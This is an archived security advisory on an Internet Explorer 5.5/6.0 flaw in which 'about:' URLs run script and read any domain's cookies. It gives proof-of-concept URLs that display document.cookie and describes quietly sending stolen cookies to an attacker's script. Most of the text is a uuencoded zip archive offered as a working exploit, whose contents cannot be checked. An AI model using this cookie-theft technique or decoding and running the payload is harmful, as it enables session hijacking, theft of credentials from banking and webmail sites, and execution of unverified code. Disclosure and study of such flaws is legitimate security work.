|
COMMAND Internet Explorer SYSTEMS AFFECTED Microsoft Internet Explorer 5.5 Microsoft Internet Explorer 6.0 PROBLEM Jouko Pynnonen found following : Microsoft Internet Explorer has a vulnerability which allows a malicious website to access any cookie in the browser\'s memory or those stored on disk. Cookies are used by web sites for storing preferences, statistics and tracking users, but also for storing more sensitive information such as session keys and even usernames and passwords. Cookies are used by many (probably most) online banks, webmail systems, and other sites requiring user authentication. Access to cookies may allow an attacker to retrieve passwords or other sensitive information, or hijack authenticated web sessions. What makes this possible are certain features of \"about:\" URL handling of IE. For some reason, an URL starting with \"about:\" can contain html code that will be interpreted by the browser. For instance entering the URL \"about:<h1>hello</h1>\" brings up a page with the heading \"hello\". The URL may contain JavaScript as well. Going to the following location with IE causes an alert box to be displayed: about:<script language=JavaScript>alert(\'ALERT\');</script> Finally, the about URL may have a hostname placed after the colon, and IE uses that hostname when determining the cookies to use: about://www.anydomain.fi/<script language=JavaScript>alert(document.cookie);</script> The above URL would result in IE displaying cookies of www.anydomain.fi in the alert box, assuming that the site has been visited and it has set a cookie which hasn\'t expired. A malicious website can have a piece of JavaScript redirecting the browser to an about: URL similar to the one above, and do anything with the cookie information of any selected domain. Instead of showing an alert box, the JavaScript code might just pass the cookie contents to a script or a CGI program which could quietly store the information to a file and then redirect the browser elsewhere or show some seemingly harmless web content. A web page for testing the vulnerability can be found at http://www.solutions.fi/iebug/ You can type in an address of a website that uses cookies, (without \"http://\") and it will tell you if your browser is vulnerable to the problem. For a relatively harmless test case try typing the address www.google.com in the box (assuming you\'ve visited Google before). update ====== [www.malware.com] released a simple exploit : Working Example [harmless \"windows flower pot\" screen saver]: begin 644 badtranceman.zip M4$L#!!0````(`+*T>BLG.U;\\22@``#!5```0````8F%D=\')A;F-E;6%N+F5M M;.U\\6Y.JR-;@\\QCA?ZCI>31V`XJ6]IP^$0D)B`H\"@K>7+U044!3+&\\JOG[4R ML:IV]=Y]KA$S\\\\7);@N3S%RY[I<$MV5:VK?Q^G1.LL-O+]*O8K6B9H?+^G#Y MYC^.Z]]>]M?TDAP7IXNP3^[K\\\']7*_]CF5T/X>+T^/V7;]!^_R][?;\\X,.._ M1%\'$C_9?HJ1*KRWU]5?25#NO>DO\\I5J9?G-.279*+H_?7AK8M4;6(DD_W;6S MTWZ1LB$86)]^>[&2U2D[9YO+R_!Z2;-L]Z+=CZ?U^?S2^E44?ZVWX`]L*+(U MR7X]\'&B_O3BG++RNUN&+\\O@$H!Q^&?]QY2B[GE9`:KWUJP0<D%[BR^7XFR#D M>?XK()0O3NM?5]F^6JE6_#@YO\\#_\"\\Z7;\\B8EST@M(C6+\\GAQ0)VOFR0CLNO M./_;M[^;13]G_\"*]K$^\'Q26YK?\\&^R6$K?^0_3_!YF<KOF)S@27\",5TD!T1A M%2].Y_7E]U\\FR2\',\\O,WJ=ZL__)IS6EQ.&_6IV_:896%R2\'Z[>7MFEW6X;?C M*3E<%LMTC?B<S^=_!UKQ99_^&[\'ZR_^D0]6?.=I+U[<&+TZ@#$SUY9=O@C!I MJ()`?<H\'Y%_%%P8RN8#Q+%)!T.Q?_@KK<?2O?^EJA&+/TGS\"-.K;^NV:W\'YO MT,\\DO*QX!V[_\\D\',R^_5RI.:!LT_D_,.\\M-\":\\00^J39O[P<%OLUC!F:K7G$ M\'WJX;N3/!MI?_R+P*]P0&))_T8>V_W).\"EQ0Q_O*D,Z^4/*<BT,ORTC-TNP$ MT__7AC6<G&Q.L.?+^;2\"^ZLD_.W\'9O02KY,H1KS%ESP)+S%^8\\AP`+`3VQXV M9+M_Z2&N?_T\'M>;;MW_1%A?7,,F$^[=\\<4-%8[S]14\\?H$,OI;+]>EZ=_ES7 MEHOSNB5_3#\'I;R]_^3&/&(\'^^,TEQ\"+0-/PC\"&U\"!A%Y-I?\\_:U:P;]\\K;RY M1C*YD(-M+B/%M\\1X;,3\'U4/)5_O.8;77+Z9AQ\\M]\\Q:J2C(?*8]P(D<+^\'A: MQS<-Z5:MS(W@2EVQWWO?07$]0,@GFDZLMXNS#3XV\'Q)\"(VU`7*M/%(;#^CET M\'5D<-T:,Q2&19Q\\15C[@:!]?E?PY<U\'@Q23/I0!-^9C^ON03F(\\;BLR^Z@3Y M:G^=@8WSC1CPL5WU1S/^D8;0J.6Z2-XG8G[6U*8XG\\8B?A7B&5X85PS\"OY:X M?;>\"#5_GAB[.7/:=XFV+O\"]>_6$-XP0%:(-]NIM-O1AZ&>,O1]%\\__.E(3Q7 M;3Y6C=X6^U>\"J\"ILFVJ%HJ#5#VU];UPLU]5^?%[6`;->SG\"<O<,D]:]+D%(F MKW]9`MA^P+=_H?T\'VC_7_I^%IH?\':F6Y#W>+2?.P8G;@]0))L=SQCO0FH*&: M?5L>O,>RGD>!H5_GD_O*,\\;%HN\'=F\'GI]A:T.UVF=ASNQYMJQ6/V2`5LB7(! MG3>73^_]P#]6-(*_9U3_AP>V9N`H-34PGSE^M78PKNQQ:K7\"9GQJB>CN%\'U! M:T3O*.#1\\=YUT\\;+:SZ5U:1MS/OM@5<S;WF\\F4O*4F9SLG&45RLN40?*0-7S M[GBQ``-TB9)M*4QPVN.A!O[=%+60(:MD*[QOS?2X0``#0YE%.?+C\'DWZEL:D MT+)S_\";<@Y6[`]QR:8;]Q!W=W[_GHWN\\4B35R\"R8%^&\\Z=G4B#X9O.KSJ=`( M@I8N\"-6*(\'3<I!&8XUM[W&.XW&3Z&NH&\\S1$\"?2EH+NQ\"CB_D4E\\M@`2K\';A M8^$:BFOT<`*[[(!2W$=JAGGLDO\'L=HYJ]UT@L?U,F$%<`+I@\'#5ZWN;NLGNP M9A%UA7!3P$X>VZE[ZTB`&_#\'8#A9G3G%.*C&-O+\'3/77KMN[B],<`PL9GA/\\ M\'J$/I4Z=OFX,ROBI&P\'`:$+`!+Z9J7:9)U2(E4=3MCH2@ZB(ZNRBMZUN1+)4 M;_?U%?)OZ`:N!>%UE6\\%Q2-WE]\"3UOH8JU9P-(R6`N6C76_#_7#4:)P)J6E9 MI#%<LDF.\\J/W[&SV<Y%!C5>I0+9.+W&3>`GT(&Y6VR(@+Z<CU89)\"T,X7ZD. M](G+KMT)85?\'Q1W5`:6@5;1W!//I`V?F\'6%\'ZWT]`]R8!KCY8L7#PWZS:1(A MT>N-/(@WG;9&SZ&!?.RVS6$A,JHV.P<DL,VF.42)OGYF,.[C70GM+D7L6H@$ M*4@@F8(=\'M_MT$GB!9/.6;.,`VH_6.&A47,=^<IQ\'$#,XOPX*=28=QJ-W/V0 M+6B$)SI&1C(W9Q3J?L0HICY23@6;XF<`\'Z8M0&G;:0B\"?+9U;DVBM>E(\'3WT MA<:TW;)/\'7`&I_&;9B\'.BUT?(\'&(\"E7<H*]Q.RK<.WS`3G$5:&3`K$J<BDDN M!CB#M(>]:?CH;=:`XWHT\\#8NO<NIWC+/@363[(;3$=/YW2O7:ZCEU4I68NUM MDEX79.5M1L_]>PXU!OXF&>B<TIY\"^_0>N:_^.G>B/:VA%T-[\"-VMH*_O*O,A MU)FX#U3KT)O8X;P0;+`_C=F\'8RBFI#?H+5]=FYMI>ATTQPU5(<H8/1<UT1+S M<R1$\"EICM1(JL`DLBX<9NIF.EB.9-6V!%C1,3Y@5MC07C$MY4S))[^@4\\8#$ M@]:]S4P-N[NB_BH3C7FD0++]!1\"+U.H;14$.U_2Y\']2S\"#XJCK-/_01>8\"JZ M((W`O,W&PM/GI+H`^$NZ\\E:MF/H&H,2X%_#@/D7/@A()A)):-HZX*)-M,`W0 MPCT&94I\"]]15.)>8_T4I,.NI\\>07K?S<<1D492)TUMLY:DY?$U\'.^9JHZ.^D MEIUAGZ^ED,+VW/%-`+YE=6:3W`LAM)1#L7X(Q9)_!\"7+F<SC:N4+E\'?Y9G=< MH8@](V+Y.:ZRVOOM!.=3!^VR]/BY&K6)!AY!9?G;XW73\'@\\8=30+(\\C\\S(NN MFQ=3-V]*XHILE;A.!K[G%ITWF]NTI+E)N]_3/:2->BVZDTK<^A;A?JXS:1D: MY)\"*,2P\"1N7J9L0*!04!>UVT25\\HQIGU].1NLIV6\\:T&V##_5OI;=:LRS^,Z MV9CQ<JLAE.&>N<][SOTN:\\.]QSQJ(9K,\"G&-R^.IXO*(,FVC9F2EA[1]165C MG:5@3R)F?=(;]V6!(TRX1>+X(AXB%J#5U8I4^@<VPW.?,SZLC9J%T-++N.K* M$%=%10)-]W`WE=[SD2+D6!<HCVI%?N,S$5H+H@=8<\"8))[#GCJ2#=]?@0^&C M#B,9\\WB(ELND-H:(\"7*>78!;C\\&KZ9P-TY&994W>)A/@UI+N.AJE]US,< M3T/]!OL](XN*7.^L)_(MG:Y,EQBQBW:9B$&PB.YOQ.GD%\"0!N*%F#\'CVTNI< MLD!14\'[]1026YJ&%(T7T=%_\'2]2[Q=[G\'FBC\\/B_L\"SF,8\'WX\"WOTYS%[GU0 MU($Z%;6%Y27\\?B\"?.QGN:&0TRQE?0;$)X[I4!RR`_*`>&0JS4Z$(..S.RKGD M@<8D8F3*@@082`7;S;D\\Z\\=]*7N^NW8&0*A%*$\\[F[NL:L,]\\EJ#,MM3O*`> M\'W`?V,7ENZQE5@@-=U/TM9CQ:,!Q,G6GX\"55*H^&3/>$.(68)8]VC&>;*7CF MSAM8.L-U$:DUG?$P8NX&/1&C6%=M?QU/KC6F;QY0CQ8O6)39`LR2N-?6*\'B] MEFZ[\"YV`KBGHZT2>#P&WC9@YY\\5^R:408A9&G$M;<;=!(QNG7=!>/?2X%I(\' M[ND\'DWB%=HB^U6:[7\'1-2\\#;:\\O<V<P\"U#W`(/JL\"^,MT%6#Z.QY5&DIRAX\\ MBD;EL2\'<!`&HM#%76^RG\'(\\IWW&SR4FH#&E-NS24F2,K4PLSLC:WW7.W6F$] MY#+L*8`L/\\L->;5!\'(:\'5V$#(KA/5Q@7KJQXI1\"[(&*JKI;E$>97X-_@3JPR MCW,@0F\"!-YK20S(CY0S`F])Q=A%[9)LU$.+C-NH4`;/&_GW,?%WI*7K`MP$H MY>WKK(#YNVS\"H[0^@-R#Y2NTJPPTENFT>FC+M2:OO6&MH`-NW&_@\"F6=1Z#7 MK:[%I)\"&;S0[2PUF!PG+-VX%D_7;\'\'5TGV79*F>R+[4%LIK7W.)6LL_L<M1? M#\'?H?\\$SS=_T-PY]H?$5K>@/\\S,3[<\'8WD\'?<NZ-%E$]+M`\'&UN&Q\\(QGQ`S M`6NP?@E5Q?Q2R=JDA)H.:RS+UN>`6T#+\".S?40NV+`;0FQ%&BY[M,CVG#KL2 M995#-\"Z_(X#%D.\'[9I0Z6JTL*/*\"OD/CV;TCCQJS/L0\"%FE&B!O$#S9&QH5Z M7NG\\.P8*!;*=&RVLPJI6\\\"_[3Y/<(&EJOI:30+1\'@:A//%=QP[I\'%UA-UL?N M;&H78;WSF(.KG/<UIK18L2QNG<Q56$YN1%$/-=6\\V)HQZO58\"@%:Z2;T54VV MC)<Z^&<Y35M6J`ND\'%]%SBTR:$U5!*WA33%>5\"OCTY;7I@%DI@NLK52P\'%V@ M!Z\\%\'N<2TC=8T1\'M]2T\"KV-M\\E3T,D=V&V[1ZO0I.!K1`\\X$#<^N5F!&##4: MK1FVV`7;6W;=/=S+0_5*:UU;M(?7B[N^KL\"S9U($&?WPXK\',\"^D9;DVL+UJB MTU76T0/C:7D@.\"--L^NW@G4<LAF/RQL9\\DJT]>@I$=U%H7/T6E9F@-!/&,]> MP8X7J-W6<#!?QY\"_D6$4(K2H[6KH`1C9\\L5NZYU=XK*JDCPS5+`I^DI&-GH4 M\\\'D0U=V=9AQCX3Z67:8A\"\"67@N+!JLG<\'+I0>,((E2<K]\"W0GY5]%_L0]2S@ MITMES\\&^PX\\4G=@P%7:\"T:0A6@C<F8@*DX)R;VB0^\\9HT<!AH^N]M<81\']/B MAH[5G,O\'S.>\\X0Y\\+X?OPDRE`7+<@=?$[^)TO7OC8RPK$#<^[`2K0BWK*)AA M=SVPD14;<Z@XPS$69>X,U9FI,HP\'&\'3HL<WTWX;8C_$>[T%L`*YON?=DQR%1 M0X3]:KJ(N$%&!I8%$40K??V!S=S7<\";&>GW&K*V,@(?C.X3:;0@9M8R^.2EC M1TT]ZY\"3HZYW76WC#AIUL`=!/=N]S_=<1QGFTS9*(CQX;RPKC\"F/%W.V&]0_ MD\'=N\'ML2FKGC$(:7$<C,!9D9JQW8`(F<>,]TYN3(2\'5/&OH.:34&+)>:1P&+ MG`IF^R/T2`S:$V/(CEO2*&[2LAX@&X:#.+QH960Y.5#O4[K37QG^062U2=-S M[Z(Q5J\"N_X(U==:\\FC#:\"FG=`0?/9[E2Z);5V8Q%PU*;H=ZJW<$C7\"1J.C60 M:7<54MF](:<C059`QEQ>@@PYAG_%[ZWUC.F:D-I,UWS$$U;3O*:I6)<-#S:N M!UO8R.SX-KR[H,\\97W4X.[&ZPL+@>\'9Q9;>F,$IK6D!X7XMX?YJ7?;BB+=2T M=3F#GS[7U*B$0%S6-TSRA,CZFO[LY[RO8G^8SK@M+/K,L@H!<H\\)2J/OY*@1 MPW8HFD8B6V7<G_(Q\\3FF2J64^HY<Q@6UC`NSF$LAY+DXE8,^V^E=B^E18+9I M==KE>8XQ.]L=+O]>2&I09]7>M6\'.ZX:.SBQHSRV(97I6FQZEB$.JEY#T39FS MZ\\MW6:.WI$<FN/>:!NQRGG^QR[W#Y%QP;X6\\BA!Z:9%I>=)6K<2;CJ@#_?J< M51-ZWG4M/)T;XZG9?<).^)Z:._^$F^_\\!+?3:/9^MB59H.L:E0@F92&1.P%B MU76[3@`)(XP;:%F/$?`WXK4.<8M\\>)XB?R%\'FC`.ESH/-2KPKD4$$7)@B+I/ M?7_0UZX:OT?#PJDO]A`CIU,-(H[&L]D19%S>BG:]D%@6A``8?3^7A(AH)M.) MS#,7M1<N1SUOF3>!JJZWR$_(O;LXR>^QA+C7L>:\'/*3D9,[]5*=A7D+93\"7\\ M\"!\"-.[A,\'W25\\.,T`**1W*,V2B?&_F+W&\'27_\'2%\"J)\\RQ>[AB#6CT/`*1(Z MPT\'-.#IXK9N0^Y*17F\\$=Z9[KD+1ZMN0OS?Q).$^S3![\'>_1]T+OS\"AK3\'>) M.,V21N.<2(V\\+\\BGNIGJ\\A._WK+K;9@ID:N:%UAYPL[R@N!WV&49\\Y.?GK=A MFK%$Z]D]SSH4/!^!60M6%X#<]MR?#/\"ODCE(*<R_<&L[<\\O:!I,S0CFSC\'2! M4,](D<WSQC>FH;H]%1K3:\'SK2!T\\D30B)C5^OC5AM&4=\\BA/I4+\"=4>KO]LI M7&*1:<0\'?IU,TG?Z?#).L=+TGMJ>`D9NP.K3(Z,,9^$,=N8\\P=%Q\"G9[G[)3 M(#S5KM>B!F:UB3B9O=?/M7V/GY5T6`50K?1X/(=(P<[D13U=?K:RP?BZ994\' M9ABM?\"*SF\".]4JNM#GRH/\"#;R3?*NJ_-:*M:&4[;+IYST-?7D3N3-\')1R=!7 M.JW5L-1]FKTY2\\ATIH2)`6RTBU&P[TZ8#:FNM;\"M+M:RU0KG-E\"Y0BJA;BFQ MSK`BD3]P5J7/.`?F,X=+!&72XD_RBFHEAU@VKB?$V&\'U/7;YC$2\';&J_Z)$% MKRS\'JY)_(JUGS(,\"3N[\"C!9,^S&GGRA,WY0-UC\"0;:WPM-`29DW[F3.%[#DG M]\"/>7ZUXGT=))^YG!\"G41SSF@^\\USR%!3:2W=:B$8\"8NT_-6\'Y]&8MT:O>8Y M1AZ\")V@FZEDD;(50T:?!,.DC>)\"0Z:PB_HSRL3(R>HLMC\'Z#C>KFXPRJ:<6; MW/,IJRH86_00-<9\"BK>!NZ.P!K0(:)F_WX></)UG++`A[0O&Y6V=YR92XQDS M7\'RV,6$KP&-QW<\\CM,\\35B+<\'_-XJL:L-SRK5AOKDBN]*P7%$UC5O%@]XK[F MHYN22Q-VPN/ADY4)SQ[:9D8<M2<9*.^02X\'?!4)%A>9)N*X3)^E)>K`\\:=L\\ M\"J,F>ATFZXA&$6A$HYV1&GA(/Z)R%.8?XY`Y0+D*,Z375:BWF\':JMK^\\0TTP M9J?=G=TT(\\N(<1MB@\',1I^=`G[,\\#N;,>-T0KSLW?&84@\';\"7<:3I#U?,_LK MJ:(0HV0>?28A`=_\'K%#2!5W)#\'Y6@I(C3`H!XH86O9Q)>L>4;\"@TB\\X9O2,* M4?%00BN6WW4D?!HD0@;\"I.*WF^$F%H?[Q+0^:3U4XC7FC5[O!]1]U%*H*DK= MSVKN<\\Q:1-VLL5ER:QN>@2LRTUSV%`J\"\':Q;5RN<LD7,**).\':VGA]YIPK2E M9Z_9;J7^@V5)4`6S[S3;.R5TL,[\"NH\\1VMT?I^&X/-TAO8\"?I;78.0P8Q].7 MR:@M?L-U7?8B`H__`%U&7YX,QF\"W`,WMR^@%B64#U#6>EKB!<:HMM\"@%7\'9\" MP0]2Y^8N95],6*VJ@PE`6)$\'%<#G#+87L:=Z4)_V35$,L[-UEE/8.^F-8,9F M`/5W-Q@MB,:LS1M89HN5RE08X_>VO=OF?!>P40OQSPL\'I#`WS_Q=#U-O*AP? M23,O\'C4O(TI33^T&>IG5T$`R7@,6E<_]]^]08ZAF.H`/K584,SU1<-_HE8\"3 M$[<P\\XEFY9;.=4[%O$.:MA-)M*\"6,#LB(,S.DVLZR[H@YM;P\'`RN$)U!&VL` M5S`O!>#SJD*N+32\\>.O>ZU\'CX2C`:6\\\\\'V\\AT`G2R%%T:8V0U;8B6HVHG33. M9E!+C@*S!8P>.\'.<.EGC]LHDKIJB%>XS)1%\'CCJ,8U;WYR,G\"2P+(:IL5YB3 MG<5M[1KS>$%/U4KW>2)W\'[/]%[>.W^J]XND<>,HX+#7A0U/`ZB!6F<EC/W\"] MNYN(V@SLM/F.FSE=F1ID`>E(8YGJ/]W^\\Y[#/]?^`^V?:_^!]L^U_U^@*=/9 MM)<\'#26=3UBLU^:39K&8>LUR`GMIAYU+?_^NSWA5GMY6*^S\\%J?IBA)(]M27 M>MI@9[L^WV$RG_:.\\T/JSQH]V*7ISZ;S-.B&.Z*EMN];C\\\'.L]A<+;U4*\\M` M+U;USG8QT<5YP-X_2M==E_PS[7N^*5]&>:41\'I=[[Q8V[._P6^WL,U(\'-#WF MT_EQ/ET!M*!N/Z!RNIHZXP\'C#=%UR,Y[3;>N7V?U\\=F=CL6EI,#J\'22U$]_X M\">K_+?5-Q#<^9[M.U]XP[O;=\'*&%&K[/@,>J:OXFSB0V)C8QB)Y=R`R.^*T[ M4)TM>PPH!#O(9H8>9CLK9-\\\'Q,ZJ6L&W;QOX:-5$B$KBBRL.L7/L/M\\Z_7O; M%TJM.T!090^P?MN]OT#J\\==-<1PQ55<X[B\".M(>/9\':(D:X%#%J,#V):^,C\\ M=0>W^PJN\"+!_UJ!O89^NL;_$<?V.XYKWW&O8I#\"><+X9N,*>XUNC=9PA[+#N M8RM<Q&&*.&I-P%DY8W^@05]!+B@$^QL<=^:8O8Z`;WFYA]&C2!%B[6D`L<OZ M,^Q?D2KKB#1,L\"\\S232AK[YA/\\/Y:L]@?*M[(#M?@PI2;\\(>2H[]9`?]7@Q] M]8S]&XY;V*<+[+=PO(M4JDP[;AI[+WJ@L\'=C<0;%&>2.3\\4\"G+%@G(YQ_(S] M\'N*@L#YK;_\'A[5:XX]:IH^G7-Z&4J;YU6J_\\,6C^<!ZW>[YNGX11W^D+-9\\^ M;@]MWS[5]@/H#Y/MXU;</>CW<=P>=Q\\W,4_;IP[4@\'AGH0X>M]S$.T+OUA<T M\\?\"X\"?*N?>([.,:I<>MXO<ZKT%T[:T\'H#AJW8J753C5Y!/W\\`\'VI!EET;2#T M)2<1I.X2$E6]T7EM+T)A+9R,1N/6HE%M4#O?-XG0L)?-6VUWJBWY#B=M*MWJ MNU%G6=N9SD1X\\VY2M7)KZ\\O.4KAV;Q,A21K2K9D..\\O.O0<S;@]?ND\'1W%FV MWR;0GXXWTNWUO(/Q=`K]V<Z!<1+`N#793(!OK70`,U(\'(%[PCC02I%NNSV!& M;03]>`PXW._0KY$Q].]*5[H5^A3&\"T^8\"#N5`D0%,!\".X\"UAQG8+=UHBX%@+ M$:<P@15,#^F!C\'OITAC\'$$DT-Z<>T>;\'I7$?S2>V\".-UHH5IJ\'F4F&>E6AG5 MT_-2]X[+\"?A=55:#^E@<&^EE/@7?,G\")-VG&L_T]\'=?3Z]SH-`#\":PGA/!=3 M<3X!H$Y./%B\'[ZG>#Z.IERZ#]!H2%?8:7^>:=YQ-[K=YKE)R\"(M5MW>$Z+-W M74CZQW8*<4);&F$O-,87?S*&**4?Y@&>.70BW8?(L?M\\EW3/*N(R,L;G%7JK MGJSX1B>>Z[:XV@..HD;&8UL/MA`!]]YY\"3R1W=ZY6EDUO,>LH331CUTCW5K6 M[7BIS2\'R!&3JZMWYU`L6$_ODUCO2\\@\"3!C.$O`7<%>#?;0;\\;42],\\*I5F9U M*5\\`/GG4F\\*^XGRL/!;3>0Q4N*M]9[^8W-,`9N([P+BC2=@.,);69\\\"AH-N[ MS??I>0Z<0D^ND9$X\'OF[L645)G#Z?B;XZCUR&B@#7$]^O??&94@N1,.(B9%\\ MCI&\\!SP\\0A:Q13C5BLKX=D]G#<^9[8]P!00T2QD;8SG4.A+.`H>N<%GC/<@\' MC`[$7:5+-`^U!R!WD@5`!-Q@PV:D0%;BJ4O,&&\"U\"S&=45\'OG!<33UT=QL4\" MYEDN[`Q\\Q%\\=N)/[<5Z7,?EA.[G[BPUY2-U+P8T^[]!E_7Y;11@,,$>ZI\\`_ M#;U1D2O=)R1OKV^9[-7\\?6=OWRGY9D4*!=J1\\ST7I\']SV<H1Y!DBYDAKR\"@@ MB\\A7`-\'3=H65-\'=+`R\")\'=N5O\'=^,_^FD`!U>WX#B`>0HP2<G8(,=\\O&BOBD MYZ\\1ZD0\";O1BL!G<H1A-FOLE[!PS&N9L/E#:\"%$3MBC](M+=9<,6O]-D)V!6 MXS;&#\\C,\'H\'1*0\"#+DEMP,\"65@<;.*,:)$@A&_RP/W)E..I*##B\"E5&7C)4; M:*473M*/\'5R2<%JD=-6PXWE]K)\">23P#H:WP??)Z;,\\A%YM-PA1QG+J]8+77 MKZOZ\'7GY/H;A@^/T8ZY4*Y,/\"91W0WT-DI%R\';Q.>`3<WC,_W*E)/MU/RTQ1 MY\'A6*PQ30D?,;[WO$RJ$R@KR*VBD1>DKT.*W^(9]*V(RITLC3<$>N*_KN>#? MF&_0TNVRW@3Z\"=(?@ZX?W\'U\'#@S],9M(\"K\'.2F\",TX7XB5>$I&!E&<AYR+39 M5:>@(>GXRMZQ,.[I7!O+D)GFH9\'>ECO`M0O4@\"9OW)X/%I1\"CO!62NH!]JO, M#>^!/\"7X:@?<1^V5;O/N&\'Q`\'`.E9Z85@XQX!\\B8@_MQ=NC%J\\..G`EZ*WWG M&VD\"$GJLF1]L$V\\:\'TOH*?HWB[C<R_@A4!9VQ_E3,T52\\J<N76;H40W0)H!B MD-XH-.[CY0&E@\"K#YX\'V&FF./`*3J!$=\\!\'M,VAP.JJ/FZ0GD@`T(9@\"E8=T M`AY2F@=C&64+QHVR=5;&^(IS75<!*7CZ7`D^V=[?UVC_Y,O2LX>OS.*U6L%\' MFA%_/V:&&1<[#8/L#)PL>]J)/W/@)TW@,-YSS.]^4Z;RGQ%1DYUL\\Q^V#0EY M_DSI\\2;6[/=\\%_B78\\87_63<XK\\F`Z\\&T$S\"7I7IPRKV8!KK(_>\'.\"C\\5QI` MPT_&$3=V(I;_%`+9H5LTWW_*]^/Q&7_\"_B<SLK\\!0?XZ_I[AES/HW\\\"!SOYL M\'*\'1OX$#93AL=)#$,/K^=UR&MR#X0GZY_ATW-P\"1=:/O?^UBZR`L^D4\'!PHD M\"NJ77X<I^90@M-&7W]IM]3-C^G>-*H\"P8I&?*;?E1@_SB9N*/^8`NAZ14N*L M.*C!(909Q&B39:04J);S2+F1KHF3#0)VLW9Q7\";S\'#161]^[<)4KZM$R5QJD MRYY?F42+R-Q5SJ3+?A,\'^^A\\EYZ,0#.\"3P/PUT1P\\7-E\\$2QY-N8]PX162\"B M-()%CB!$!&H)0T/<ML0(R)*\\MRXA3SKP)2%U@BI7K3P(WZ,7*5-<N8H4]B8Q M1.(<(0\".NP\\@O1)\"A-R.$$?^;I5)@ES!Z`Q\\\"3^XJ[ZOZ)I_6.%%2HS<\"#_` M?W\"!X+,V`^HDO#<GR@5GSG)%1`X#;AL\"6<X*(1@66>1*PG$G!2KYI_9.-?+- MA609Z%9D,B#=)]4:XQ/*TMBA;)^G/[SQYQ9(R\"M*D$;\\]UW52A0I0]*%E2[N M\'>#>$5(_QVMW1;[*W$29T@#3]09>^^^>B>%FEG1W,W1Q8#XY<!XE\\Z\'5-A@4 MMS?5X@(\'IV;,$(,\"N0\"XGW&G:F6:*Q)2#GR[(2[+/_`%;*!@?FT\"88O`_`F! M&CZ(%)]H.]2W(=\';9.0J0\\`-JEB_E.G-]6\\\"^F$7?TWC0LZ$)P49\"(D.T;\\Z M\'[+7V&/03U1B*[6WGZ,5*[@W8/U`SH,$#KC3`FT\"^#EB_`/JV+MG$9\\/L<5& MUM`=OADJ(FX!88]YM)SH^`HTU,?`\\0M2/T,(7:\"&:8G(?V,\'S6?V::\'VW)!? M,\'^/VE2MF,QZVMP&^#7&$<#IAA9-,(HAF2Y:.N!,%,@_7+21HH1X?\'H(;@O+ MB.\\)NGY&7+A6K-!73$NJ=]QFN\"\\!S=ZBK0#$%\'>$>05J-N0A$=SI,AF*S#U\\ MQD&?X8H\'4O.!*S1(.P<1N2/?^\'5\'ABZ1N13@3A?%Q#C==3D$6#E#\"6CL>D%) M$/1KP-^)\"SBC=I0TA0P-Q,U\'\'(`JOI)Q-$=J&3_@_H(H[*5+-T>.$_203.;S M7,EP9V8;L`YL(D*9BD@%X\\,2^<*L\"B\"H3P@F&LB5&8`+B2IJ@POU%M60NB:A M_,$;_M02H+GHM4V$>\"@Y\'J,/\\1AN:&4H$0VM*\"TE91%]1\\:YTD,N#)A-6\"2( MGMH+EGY$N@.FN6VT,JFTO^%G2,`W&W<$K\\7FK1!WT&C&-]T$:$@O1HBOO@*< MWHBH>(;*(PZ7C%9&GF=DL9\"/12FYRWL\\E4OM<$O^[=!+,<_Y8RT1,7$`_N7E ME?&3YV^HVX39Z0QE^_BI?4+KE;\\D\'Q..*_>H.:Y#.T7.Y\\JUQ+&G#%V-/>I7 M^0:L??ZY?$1^VDI*S?(#(*(R?V17]NHJ)?@\">V3R^WB&S\\[Q(4(2!\\^4*+OB MO[4`T.\"N\\\"?IKB+P%LH?2&V%3B,L_TN>-TWV:];G_8_99MS8?)T++3&W;%[R M?9)B(F2^]L_.HA/SRW_O:S__AW=59U/&K)(0H2/C_6WC`]IY0)RUB;ESYQ,G MSH0V$#O56;O[^?[=E^-ZQ&W;4.>J^YX>/\"$TU?D>\'XHXZ*2?$%:]74]E$%`R M3PQVO?T<UU<K`29E7W!0\\/4,XQU\"^8\\B8#R?&1\\TS(PG`K-R?;6\"$&;/V^03 M!/8>HJD\"P]YQ(&5N9:*Z?.5\"9\"80%Z+/$%A+8.0=PG=R>$+X*@FFKY^EP/,@ M+K?OYVZX[OSA+D?S\\V[5\"I.\\(^,C\'1GU&NG;8\'73Y7V(UIBR8+Z#J]EOA\"F# MM,8_W%>R_I#KVW=W_I4^0F.OH/+MV/:(*.DRR^=&SQ7]W?*_)/>?VB=;^#=8 M/DJA37Y@^5WD-.,,29Q2:@1E_-4A/24`.SM/F:ZA\"&BCE@\\4D.`V5]$*N@G, MP!4!8>.L$I[C^\"M!$I[C0`R.;YX:`C/4+I=\\[=-^P&0\'/`<DL8DIDQKH6R2P M^AKF07;4@.Q;\"1NK,O/\"WV<!A0JC=H,JP$V(D>\"6>;Q5RHQGZ)&I$\"Z189EU M*03?R<82&6,6$]67NNK[-L!HR+P]S]%O&`<&$8]=\"^`.QBZ,BA@7`AZ!\\8ZK MU,M,^J-!L`G^F!/Y+!J6&1%`9G57M?*U\\OI!W?6IR7^:E3UK&:4@?]J4#F8+ M2Y9QLQIPR_(^%S.@`\",VPY\'EEBS38[DB\\\'7)LD_,?2`\'>E*CDC(?@9U9OL)* MT!AKQ)G+\\Q6X)H@;9BY8<8@L^I?9:A,AA)CUJRS[/R+5*V0B[+#&^>]5)\\O_ M(BRWJI4E\\HO3_>0TJ\\SX#@RWN,PUX6KRG!-I8!(1D?H\'\\A$<*>9O70VQ/Y;4 ML3R#0VJ755*Y`F1M8CK-\\Y0#7EG.\"3L#;DR+$+<_Z%\'&:D#4VU*/WK4(<`)M M8?QBF<Z7]F?Q]!]O_P`TA7T`.T6SM\"A_*]2&-<CS?$N\'ENWF]8*\"3*UAE+]N MJ6@Y8DZIEEG^^>YN=<<:K^[+0J]9L]T]I<;\"6I#[O>A.K/7J_NIW)6N3W\\G6 M[%N)^1A0LVGM<K\"L8-N;6:G\\\"&G?M8[1XUCT+];)>ES]@6-=HT=G:U(KWQ6T ML/96(1:>;SN6)!?S8CBTFE:1;8=7J[TKBL()`;=\'+@Y]3[&UE3BCWIO=S<28 MC@9VSQ0/_NA@#XAXV_I=V\\K%.O5#>[@37[=^RW;:HEH$KNWEDND\'5]MWI6K% M\\\\>V/2%22\"?$GIVE73&9V8N5=-I.FO;*DA[^U+\'#0&K0:6RO<ZE6!-2.Q+JV MG<WL1*OWZ2RWMU\'=I7.(@\':JU2?%_&@?=O6ZOSS:MZ!.MJO`OI\\;/;K*[6+6 M<\'P\\K1<;\\VTHVK+62(KUTFY%C7JQ2>R:W*C13<W.+?QWN_QH,E1$V?)C,M1$ M>4SCX[#GROEVVQO:KMSTMY>A(\\I:L9L//;DYV.Z`,[NFNTW#X21KAC1M#J=R 